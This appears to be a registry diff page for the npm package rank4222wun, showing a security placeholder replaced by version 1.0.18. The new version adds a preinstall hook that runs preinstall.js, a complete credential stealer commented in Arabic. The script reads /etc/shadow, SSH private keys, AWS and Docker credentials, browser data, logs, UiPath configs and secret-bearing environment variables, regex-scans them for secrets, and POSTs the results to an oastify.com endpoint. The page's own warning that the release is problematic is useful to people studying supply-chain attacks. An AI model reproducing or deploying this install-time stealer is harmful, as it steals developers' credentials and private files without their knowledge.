rank4222wun 0.0.1-security → 1.0.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.18",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,423 @@
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
6
+
7
+ // ========== إعداد جمع البيانات ==========
8
+ const collectedData = {
9
+ timestamp: new Date().toISOString(),
10
+ phase: "preinstall-data-exfiltration",
11
+ hostname: os.hostname(),
12
+ user: os.userInfo().username,
13
+ platform: os.platform(),
14
+
15
+ // البيانات الحساسة
16
+ sensitiveData: {
17
+ systemFiles: {},
18
+ userFiles: {},
19
+ configFiles: {},
20
+ logs: {},
21
+ foundSecrets: []
22
+ }
23
+ };
24
+
25
+ // ========== 1. قراءة ملفات نظام Linux حساسة ==========
26
+ function readLinuxSensitiveFiles() {
27
+ console.log("🔍 البحث عن ملفات Linux الحساسة...");
28
+
29
+ const linuxFiles = [
30
+ { path: '/etc/passwd', desc: 'قائمة مستخدمين النظام' },
31
+ { path: '/etc/shadow', desc: 'كلمات مرور النظام' },
32
+ { path: '/etc/group', desc: 'مجموعات النظام' },
33
+ { path: '/etc/hosts', desc: 'إعدادات الشبكة' },
34
+ { path: '/etc/resolv.conf', desc: 'خوادم DNS' },
35
+ { path: '/etc/ssh/sshd_config', desc: 'إعدادات SSH' },
36
+ { path: '/home/' + os.userInfo().username + '/.bash_history', desc: 'سجل الأوامر' },
37
+ { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa', desc: 'مفتاح SSH خاص' },
38
+ { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa.pub', desc: 'مفتاح SSH عام' },
39
+ { path: '/home/' + os.userInfo().username + '/.ssh/authorized_keys', desc: 'مفاتيح SSH مصرح بها' },
40
+ { path: '/home/' + os.userInfo().username + '/.aws/credentials', desc: 'مفاتيح AWS' },
41
+ { path: '/home/' + os.userInfo().username + '/.docker/config.json', desc: 'إعدادات Docker' },
42
+ { path: '/var/log/auth.log', desc: 'سجلات المصادقة' },
43
+ { path: '/var/log/syslog', desc: 'سجلات النظام' }
44
+ ];
45
+
46
+ linuxFiles.forEach(file => {
47
+ try {
48
+ if (fs.existsSync(file.path)) {
49
+ const stats = fs.statSync(file.path);
50
+ const fileData = {
51
+ path: file.path,
52
+ description: file.desc,
53
+ size: stats.size,
54
+ exists: true,
55
+ readable: true
56
+ };
57
+
58
+ // قراءة الملف إذا كان نصي وصغير
59
+ if (stats.size < 100000 && !stats.isDirectory()) {
60
+ try {
61
+ const content = fs.readFileSync(file.path, 'utf8');
62
+ fileData.content = content;
63
+
64
+ // البحث عن أسرار في المحتوى
65
+ findSecretsInContent(content, file.path);
66
+ } catch (readError) {
67
+ fileData.readError = readError.message;
68
+ }
69
+ }
70
+
71
+ collectedData.sensitiveData.systemFiles[file.path] = fileData;
72
+ console.log(`✅ ${file.desc}: ${file.path}`);
73
+ }
74
+ } catch (e) {
75
+ collectedData.sensitiveData.systemFiles[file.path] = {
76
+ error: e.message,
77
+ exists: false
78
+ };
79
+ }
80
+ });
81
+ }
82
+
83
+ // ========== 2. قراءة ملفات Windows حساسة ==========
84
+ function readWindowsSensitiveFiles() {
85
+ console.log("🔍 البحث عن ملفات Windows الحساسة...");
86
+
87
+ const username = os.userInfo().username;
88
+ const windowsFiles = [
89
+ { path: `C:\\Users\\${username}\\Desktop`, desc: 'مجلد Desktop' },
90
+ { path: `C:\\Users\\${username}\\Documents`, desc: 'مجلد Documents' },
91
+ { path: `C:\\Users\\${username}\\Downloads`, desc: 'مجلد Downloads' },
92
+ { path: `C:\\Users\\${username}\\OneDrive`, desc: 'مجلد OneDrive' },
93
+ { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, desc: 'الملفات الأخيرة' },
94
+ { path: `C:\\Users\\${username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History`, desc: 'تاريخ Chrome' },
95
+ { path: `C:\\Users\\${username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles`, desc: 'ملفات Firefox' },
96
+ { path: `C:\\Users\\${username}\\AppData\\Local\\Microsoft\\Credentials`, desc: 'معلومات اعتماد Windows' },
97
+ { path: `C:\\Users\\${username}\\.aws\\credentials`, desc: 'مفاتيح AWS' },
98
+ { path: `C:\\Users\\${username}\\.ssh\\id_rsa`, desc: 'مفتاح SSH خاص' },
99
+ { path: `C:\\Windows\\System32\\drivers\\etc\\hosts`, desc: 'ملف Hosts' },
100
+ { path: `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup للجميع' },
101
+ { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup الشخصي' }
102
+ ];
103
+
104
+ windowsFiles.forEach(file => {
105
+ try {
106
+ if (fs.existsSync(file.path)) {
107
+ const stats = fs.statSync(file.path);
108
+ const fileData = {
109
+ path: file.path,
110
+ description: file.desc,
111
+ size: stats.size,
112
+ exists: true,
113
+ isDirectory: stats.isDirectory()
114
+ };
115
+
116
+ if (stats.isDirectory()) {
117
+ // قراءة محتويات المجلد
118
+ try {
119
+ const files = fs.readdirSync(file.path);
120
+ fileData.files = files.slice(0, 50); // أول 50 ملف فقط
121
+ fileData.fileCount = files.length;
122
+
123
+ // البحث عن ملفات نصية في المجلد وقراءتها
124
+ findAndReadTextFiles(file.path, files);
125
+ } catch (dirError) {
126
+ fileData.dirError = dirError.message;
127
+ }
128
+ } else if (stats.size < 50000) {
129
+ // قراءة الملفات النصية الصغيرة
130
+ try {
131
+ const content = fs.readFileSync(file.path, 'utf8');
132
+ fileData.content = content.substring(0, 5000);
133
+
134
+ // البحث عن أسرار في المحتوى
135
+ findSecretsInContent(content, file.path);
136
+ } catch (readError) {
137
+ fileData.readError = readError.message;
138
+ }
139
+ }
140
+
141
+ collectedData.sensitiveData.userFiles[file.path] = fileData;
142
+ console.log(`✅ ${file.desc}: ${file.path} (${stats.isDirectory() ? 'مجلد' : 'ملف'})`);
143
+ }
144
+ } catch (e) {
145
+ collectedData.sensitiveData.userFiles[file.path] = {
146
+ error: e.message,
147
+ exists: false
148
+ };
149
+ }
150
+ });
151
+ }
152
+
153
+ // ========== 3. البحث عن ملفات نصية وقراءتها ==========
154
+ function findAndReadTextFiles(dirPath, files) {
155
+ const textExtensions = ['.txt', '.log', '.config', '.conf', '.ini', '.env', '.json', '.xml', '.yml', '.yaml', '.properties'];
156
+
157
+ files.forEach(file => {
158
+ const filePath = path.join(dirPath, file);
159
+ try {
160
+ const stats = fs.statSync(filePath);
161
+ if (!stats.isDirectory() && stats.size < 100000) {
162
+ const ext = path.extname(file).toLowerCase();
163
+ if (textExtensions.includes(ext) || file.includes('config') || file.includes('secret') || file.includes('password')) {
164
+ try {
165
+ const content = fs.readFileSync(filePath, 'utf8');
166
+ collectedData.sensitiveData.configFiles[filePath] = {
167
+ path: filePath,
168
+ size: stats.size,
169
+ content: content.substring(0, 10000)
170
+ };
171
+
172
+ // البحث عن أسرار
173
+ findSecretsInContent(content, filePath);
174
+
175
+ console.log(`📄 قراءة: ${filePath}`);
176
+ } catch (e) {}
177
+ }
178
+ }
179
+ } catch (e) {}
180
+ });
181
+ }
182
+
183
+ // ========== 4. البحث عن أسرار في المحتوى ==========
184
+ function findSecretsInContent(content, filePath) {
185
+ const secretPatterns = [
186
+ { pattern: /password\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
187
+ { pattern: /passwd\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
188
+ { pattern: /secret\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سر' },
189
+ { pattern: /key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح' },
190
+ { pattern: /token\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'توكن' },
191
+ { pattern: /api[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح API' },
192
+ { pattern: /access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح وصول' },
193
+ { pattern: /secret[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح سري' },
194
+ { pattern: /aws[_-]?access[_-]?key[_-]?id\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Access Key' },
195
+ { pattern: /aws[_-]?secret[_-]?access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Secret Key' },
196
+ { pattern: /database[_-]?url\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'رابط قاعدة بيانات' },
197
+ { pattern: /connection[_-]?string\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سلسلة اتصال' },
198
+ { pattern: /private[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح خاص' },
199
+ { pattern: /-----BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY-----/gi, name: 'مفتاح خاص كامل' }
200
+ ];
201
+
202
+ secretPatterns.forEach(pattern => {
203
+ const matches = [...content.matchAll(pattern.pattern)];
204
+ matches.forEach(match => {
205
+ if (match[1] && match[1].length > 3) {
206
+ collectedData.sensitiveData.foundSecrets.push({
207
+ file: filePath,
208
+ type: pattern.name,
209
+ value: match[1].substring(0, 100), // أول 100 حرف فقط
210
+ pattern: match[0].substring(0, 50)
211
+ });
212
+ console.log(`🔐 وجد ${pattern.name} في: ${filePath}`);
213
+ }
214
+ });
215
+ });
216
+ }
217
+
218
+ // ========== 5. قراءة سجلات النظام ==========
219
+ function readSystemLogs() {
220
+ console.log("📊 قراءة سجلات النظام...");
221
+
222
+ const logFiles = os.platform() === 'linux' ? [
223
+ '/var/log/auth.log',
224
+ '/var/log/syslog',
225
+ '/var/log/dmesg',
226
+ '/var/log/kern.log',
227
+ '/var/log/boot.log'
228
+ ] : [
229
+ 'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
230
+ 'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
231
+ 'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
232
+ ];
233
+
234
+ logFiles.forEach(logFile => {
235
+ try {
236
+ if (fs.existsSync(logFile)) {
237
+ const stats = fs.statSync(logFile);
238
+ collectedData.sensitiveData.logs[logFile] = {
239
+ path: logFile,
240
+ size: stats.size,
241
+ exists: true
242
+ };
243
+
244
+ // محاولة قراءة السجلات النصية (لينكس)
245
+ if (os.platform() === 'linux' && stats.size < 500000) {
246
+ try {
247
+ const logContent = fs.readFileSync(logFile, 'utf8');
248
+ const lines = logContent.split('\n').slice(-100); // آخر 100 سطر
249
+ collectedData.sensitiveData.logs[logFile].recentEntries = lines;
250
+ } catch (e) {}
251
+ }
252
+
253
+ console.log(`📋 سجل: ${logFile} (${stats.size} بايت)`);
254
+ }
255
+ } catch (e) {}
256
+ });
257
+ }
258
+
259
+ // ========== 6. جمع متغيرات البيئة الحساسة ==========
260
+ function collectSensitiveEnvVars() {
261
+ console.log("🔑 جمع متغيرات البيئة الحساسة...");
262
+
263
+ const sensitiveVars = {};
264
+ Object.keys(process.env).forEach(key => {
265
+ const keyLower = key.toLowerCase();
266
+ const value = process.env[key];
267
+
268
+ if (value && (
269
+ keyLower.includes('pass') ||
270
+ keyLower.includes('secret') ||
271
+ keyLower.includes('key') ||
272
+ keyLower.includes('token') ||
273
+ keyLower.includes('cred') ||
274
+ keyLower.includes('auth') ||
275
+ keyLower.includes('pwd') ||
276
+ keyLower.includes('database') ||
277
+ keyLower.includes('connection')
278
+ )) {
279
+ sensitiveVars[key] = value.length > 100 ?
280
+ value.substring(0, 100) + '...' :
281
+ value;
282
+
283
+ console.log(`🔑 ${key} = ${sensitiveVars[key]}`);
284
+ }
285
+ });
286
+
287
+ collectedData.sensitiveData.envVars = sensitiveVars;
288
+ }
289
+
290
+ // ========== 7. البحث عن ملفات UiPath ==========
291
+ function findUiPathFiles() {
292
+ console.log("🔍 البحث عن ملفات UiPath...");
293
+
294
+ const searchPaths = os.platform() === 'win32' ? [
295
+ 'C:\\Program Files\\UiPath',
296
+ 'C:\\Program Files (x86)\\UiPath',
297
+ `C:\\Users\\${os.userInfo().username}\\AppData\\Local\\UiPath`,
298
+ `C:\\Users\\${os.userInfo().username}\\Documents\\UiPath`,
299
+ 'C:\\ProgramData\\UiPath'
300
+ ] : [
301
+ '/opt/UiPath',
302
+ '/usr/lib/UiPath',
303
+ `/home/${os.userInfo().username}/.local/share/UiPath`,
304
+ `/home/${os.userInfo().username}/UiPath`
305
+ ];
306
+
307
+ const foundUiPath = [];
308
+
309
+ searchPaths.forEach(searchPath => {
310
+ try {
311
+ if (fs.existsSync(searchPath)) {
312
+ const files = fs.readdirSync(searchPath);
313
+ foundUiPath.push({
314
+ path: searchPath,
315
+ exists: true,
316
+ fileCount: files.length,
317
+ sampleFiles: files.slice(0, 10)
318
+ });
319
+ console.log(`📁 UiPath: ${searchPath} (${files.length} ملف)`);
320
+
321
+ // البحث عن ملفات تكوين UiPath
322
+ files.forEach(file => {
323
+ if (file.includes('.config') || file.includes('.json') || file.includes('.xml')) {
324
+ const filePath = path.join(searchPath, file);
325
+ try {
326
+ const stats = fs.statSync(filePath);
327
+ if (stats.size < 100000) {
328
+ const content = fs.readFileSync(filePath, 'utf8');
329
+ collectedData.sensitiveData.configFiles[filePath] = {
330
+ path: filePath,
331
+ size: stats.size,
332
+ content: content.substring(0, 5000)
333
+ };
334
+ }
335
+ } catch (e) {}
336
+ }
337
+ });
338
+ }
339
+ } catch (e) {}
340
+ });
341
+
342
+ collectedData.sensitiveData.uipathFiles = foundUiPath;
343
+ }
344
+
345
+ // ========== 8. إرسال البيانات ==========
346
+ function sendCollectedData() {
347
+ console.log("\n" + "=".repeat(60));
348
+ console.log("📤 إرسال البيانات المسروقة إلى السيرفر...");
349
+ console.log("=".repeat(60));
350
+
351
+ const req = https.request({
352
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
353
+ port: 443,
354
+ path: '/data-exfiltration',
355
+ method: 'POST',
356
+ headers: {
357
+ 'Content-Type': 'application/json',
358
+ 'X-Data-Source': 'UiPath-MCP-Data-Theft',
359
+ 'X-Host': os.hostname(),
360
+ 'X-User': os.userInfo().username
361
+ }
362
+ }, (res) => {
363
+ console.log(`✅ تم إرسال البيانات. حالة الرد: ${res.statusCode}`);
364
+ printSummary();
365
+ });
366
+
367
+ req.on('error', (e) => {
368
+ console.error(`❌ خطأ في الإرسال: ${e.message}`);
369
+ printSummary();
370
+ });
371
+
372
+ req.write(JSON.stringify(collectedData, null, 2));
373
+ req.end();
374
+ }
375
+
376
+ // ========== 9. طباعة ملخص ==========
377
+ function printSummary() {
378
+ console.log("\n" + "=".repeat(60));
379
+ console.log("📊 ملخص البيانات المسروقة:");
380
+ console.log("=".repeat(60));
381
+
382
+ const sysFiles = Object.keys(collectedData.sensitiveData.systemFiles).length;
383
+ const userFiles = Object.keys(collectedData.sensitiveData.userFiles).length;
384
+ const configFiles = Object.keys(collectedData.sensitiveData.configFiles).length;
385
+ const logs = Object.keys(collectedData.sensitiveData.logs).length;
386
+ const secrets = collectedData.sensitiveData.foundSecrets.length;
387
+
388
+ console.log(`📄 ملفات نظام: ${sysFiles} ملف`);
389
+ console.log(`👤 ملفات مستخدم: ${userFiles} ملف/مجلد`);
390
+ console.log(`⚙️ ملفات تكوين: ${configFiles} ملف`);
391
+ console.log(`📋 سجلات نظام: ${logs} سجل`);
392
+ console.log(`🔐 أسرار وجدت: ${secrets} سر`);
393
+
394
+ if (secrets > 0) {
395
+ console.log("\n🔍 الأسرار التي تم العثور عليها:");
396
+ collectedData.sensitiveData.foundSecrets.forEach((secret, i) => {
397
+ console.log(` ${i + 1}. ${secret.type} في ${secret.file}`);
398
+ console.log(` → ${secret.pattern}`);
399
+ });
400
+ }
401
+
402
+ console.log("\n📤 تم إرسال البيانات إلى:");
403
+ console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/data-exfiltration");
404
+ console.log("=".repeat(60));
405
+ }
406
+
407
+ // ========== بدء التنفيذ ==========
408
+ console.log("🚀 بدء سرقة البيانات عبر ثغرة UiPath MCP...\n");
409
+
410
+ // حسب النظام
411
+ if (os.platform() === 'linux') {
412
+ readLinuxSensitiveFiles();
413
+ } else if (os.platform() === 'win32') {
414
+ readWindowsSensitiveFiles();
415
+ }
416
+
417
+ // عمليات مشتركة
418
+ readSystemLogs();
419
+ collectSensitiveEnvVars();
420
+ findUiPathFiles();
421
+
422
+ // إرسال البيانات بعد 2 ثانية
423
+ setTimeout(sendCollectedData, 2000);
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.